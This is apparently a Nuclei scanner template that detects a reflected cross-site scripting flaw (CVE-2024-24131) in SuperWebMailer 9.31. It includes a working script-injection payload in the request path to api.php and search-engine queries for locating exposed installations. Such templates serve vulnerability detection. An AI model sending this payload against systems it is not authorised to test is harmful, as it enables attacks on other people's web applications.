id: CVE-2024-24131

info:
  name: SuperWebMailer 9.31.0.01799 - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    SuperWebMailer v9.31.0.01799 was discovered to contain a reflected cross-site scripting (XSS) vulenrability via the component api.php.
  reference:
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24131
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-24131
    cwe-id: CWE-79
    epss-score: 0.09553
    epss-percentile: 0.92520
    cpe: cpe:2.3:a:superwebmailer:superwebmailer:9.31.0.01799:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: superwebmailer
    product: superwebmailer
    shodan-query:
      - title:"SuperWebMailer"
      - http.title:"superwebmailer"
    fofa-query: title="superwebmailer"
    google-query: intitle:"superwebmailer"
  tags: cve,cve2024,superwebmailer,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/api.php/<script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "SuperWebMailerAPI"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ff6ee88b4d16dff429d73e3754f44a57c07464b90f39e43aef0b95c1853ff2cf02202a7d5a6c2d5daf32962f61698a5faad9a19f064ca8fe4d5db52fa3dc95170551:922c64590222798bb761d5b6d8e72950